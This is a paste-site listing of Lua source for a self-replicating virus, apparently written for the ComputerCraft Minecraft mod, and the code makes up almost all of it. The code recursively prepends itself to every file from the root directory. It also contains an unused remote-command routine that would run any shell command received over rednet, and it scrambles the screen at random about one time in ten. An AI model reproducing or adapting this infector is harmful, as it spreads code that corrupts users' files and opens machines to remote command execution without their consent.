asteroidsteam icon

Self Replecating Virus with 10% payload

asteroidsteam | PRO | 02/17/18 08:37:52 PM UTC | 0 ⭐ | 361 👁️ | Never ⏰ | []
Lua |

1.8 KB

|

None

|

0 👍

/

0 👎

local infected = true
function infect(file)
  local virusfile = fs.open(shell.getRunningProgram(), "r")
  local viruscode = virusfile.readAll()
  local inFile = fs.open(file, "r")
  local fileCode = inFile.readAll()
  inFile.close()
  virusfile.close()
  if string.match(fileCode, "local infected = true") then
  else
    if file == "key" then
    else
      local infectFile = fs.open(file,"w")
      infectFile.writeLine("local infected = true")
      infectFile.writeLine(viruscode)
      infectFile.writeLine(fileCode)
      infectFile.close()
    end
  end
end
function remoteCommandStart()
  local sides = {"front","back","right","left","top","bottom"}
  local conn = false
  for i=1,#sides do
    if peripheral.isPresent(sides[i]) and peripheral.getType(sides[i]) == "modem" then
      rednet.open(sides[i])
      conn = true
      break
    end
  end
  if conn then
    remoteCommand()
  else
  end
end
function remoteCommand()
  while true do
    local id,msg = rednet.receive("162857")
    shell.run(msg)
    rednet.send(id, "Done: "..msg, "162857")
  end
end
function payload()
  local a = math.random(1, 10)
  if a == 5 then
    local w,h = term.getSize()
    local payLoadCharacters = {0, 1, "|", "-", "+"}
    for i=1,50000 do
      term.setCursorPos(math.random(1, w), math.random(1, h))
      local index = math.random(1, table.getn(payLoadCharacters))
      write(payLoadCharacters[index])
    end
  end
end
function infectDir(directory)
  shell.setDir(directory)
  local files = fs.list(directory)
  for i=1,#files do
    if fs.isDir(files[i]) then
      if files[i] == "rom" then
      else
        infectDir(shell.dir().."/"..files[i])
      end
    else
      infect(shell.dir().."/"..files[i])
    end
  end
  shell.setDir("")
end
infectDir("/")
payload()

Comments